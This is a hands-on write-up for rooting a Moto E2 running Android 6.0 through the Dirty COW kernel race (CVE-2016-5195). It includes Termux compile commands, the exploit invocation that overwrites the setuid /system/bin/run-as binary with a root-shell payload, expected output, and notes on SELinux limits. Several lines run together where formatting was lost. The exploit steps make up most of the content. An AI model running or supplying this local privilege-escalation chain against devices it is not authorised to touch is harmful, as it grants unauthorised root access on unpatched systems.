The Moto E2 runs Android 6.0 with a locked bootloader and kernel 3.10.49. This kernel was never patched for CVE-2016-5195, a race condition in the Linux copy-on-write (COW) mechanism that was present from kernel 2.6.22 (2007) through 4.8.3 (October 2016). The vulnerability exists in mm/memory.c in the follow_page_pte() function: when a process writes to a private read-only memory mapping, the kernel is supposed to create a copy of the page (copy-on-write). But a race condition between the madvise(MADV_DONTNEED) syscall and the /proc/self/mem write path allows a process to write directly to the original page instead of the copy. This means any file the process can read, it can effectively overwrite in the kernel's page cache.
The target is /system/bin/run-as, a setuid root binary that Android uses to let adb shell enter app sandboxes. Because it runs as uid 0, overwriting it with a custom payload gives us a root shell. The phone's locked bootloader means no custom recovery, no flashing, no fastboot oem unlock — Dirty COW is the only path to root.
pkg install clang)Two binaries are compiled in Termux: the Dirty COW exploit itself and the replacement run-as payload. The exploit binary races madvise(MADV_DONTNEED) against /proc/self/mem writes in two threads. One thread repeatedly calls madvise() to discard the private mapping, while the other writes the payload bytes via /proc/self/mem. When the race is won, the payload bytes land in the page cache of the target file instead of a private copy.
// logfix.h — suppress Android log symbol errors during linking
#define __android_log_print(...)# Compile both binaries in Termux
clang -pthread -include logfix.h -DPRINT -o dirtycow dirtycow.c dcow.c -Wall
clang -o run-as-payload run-as.c -ldl -WallThe run-as payload is a minimal C program that calls setuid(0) and setgid(0), then execs /system/bin/sh. Because it replaces a setuid binary, the kernel elevates the process to uid 0 before the payload code runs.
# Run the exploit — overwrites /system/bin/run-as in page cache
./dirtycow run-as-payload /system/bin/run-as
# Output: "patch successful, iterations 1"
# Takes 1-5 seconds on the Snapdragon 410
# Get a root shell
/system/bin/run-as
# uid=0(root) gid=0(root)
# Verify
id
# uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0# Confirm root:
id
# uid=0(root) gid=0(root) groups=0(root) context=u:r:shell:s0
# Confirm the binary was overwritten (compare sizes):
ls -la /system/bin/run-as
# Should show the size of your payload, not the original 9.7 KB
# Test that root works for our purpose:
pm disable com.android.browser
# Package com.android.browser new state: disabled/system/bin/run-as. The exploit must be re-run after every rebootu:r:shell:s0 even with uid 0. This means root can pm disable packages but CANNOT write to /proc/sys/* (sysctl), /data/system/ directly, or call setenforce 0. SELinux domain transitions require the binary to have the correct SELinux label, which page-cache overwrites do not change/system/bin/app_process32 with this basic payload. That binary is the zygote process — replacing it incorrectly causes a boot loop (see Hack #36 for the correct approach)| Metric | Before | After |
|---|---|---|
| Root access | None (locked bootloader) | uid=0 via run-as |
| Exploit time | N/A | 1-5 seconds |
| Persistence | N/A | Page cache only (lost at reboot) |
| SELinux domain | u:r:shell:s0 | u:r:shell:s0 (unchanged) |
| Packages disableable | ~20 (adb shell) | 51+ (root pm disable) |